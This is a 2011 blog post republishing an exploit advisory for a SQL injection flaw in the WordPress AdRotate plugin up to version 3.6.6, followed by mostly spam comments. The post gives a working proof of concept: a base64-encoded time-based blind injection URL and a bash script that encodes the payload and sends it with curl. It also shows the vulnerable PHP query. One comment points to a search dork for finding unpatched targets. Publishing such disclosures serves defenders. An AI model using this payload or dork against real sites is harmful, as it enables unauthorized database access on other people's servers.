Monday, November 14, 2011

WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability

# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EI
DE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpK
SksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,
112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$enc
oded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."a
drotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare
()
p.s. tried to contact author and WordPress team but without any luck

14 comments:

Mayannk Koomar said...

Reading is my passion. Browsing through your site gives me a lot of knowledge in so many ways. Thank you for the efforts you made in writing and sharing your points of view.

Looking forward to learn some more from you.

Wordpress Customization Service

Keep it up.

Restaurant Brugge said...

thanks 4 sharing this post with us

Restaurant Bruges said...

nice post i really enjoyed reading it a lot

Silver Jewelry Jaipur said...

awesome and fantastic post really like it a lot

Silver Jewelry Jaipur said...

awesome and fantastic post really like it a lot

finance managment tips said...

great work done by you keep doing this type of work

property dealer in delhi said...

good job i like it

buy saheli contraceptive pill said...

Really amazing post...


Durex Jeans Condoms said...

thanks 4 sharing this post with us

Anonymous said...

Hi to all, the contents present at this web page
are genuinely remarkable for people knowledge, well,
keep up the nice work fellows.
Also visit my web blog : 500 Facebook Fans

Anonymous said...

Is this vulnerability still not fixed? Google search for inurl:adrotate-out.php yields lots of targets 0.o Wordpress needs to do something about this.

Anonymous said...

Good day! This is my 1st comment here so I just wanted to give a quick shout out and say I truly enjoy
reading through your posts. Can you suggest any other blogs/websites/forums that cover the same
topics? Thank you so much!

My web page; bacode rental

Anonymous said...

I know this if off topic but I'm looking into starting my own blog and was wondering what all is needed to get set up? I'm assuming having a blog like yours would
cost a pretty penny? I'm not very web smart so I'm not 100% sure. Any suggestions or advice would be greatly appreciated. Kudos

Here is my webpage - rent bar code scanner
My site > rent barcode scanner

Anonymous said...

To a sure extent, this fact is and what is fiction? [url=http://www.onlinecasinoburger.co.uk/]online casino uk[/url] online casino uk This city is not real $8.5; tables,$7.3, up 1 percent. http://www.onlinecasinoburger.co.uk/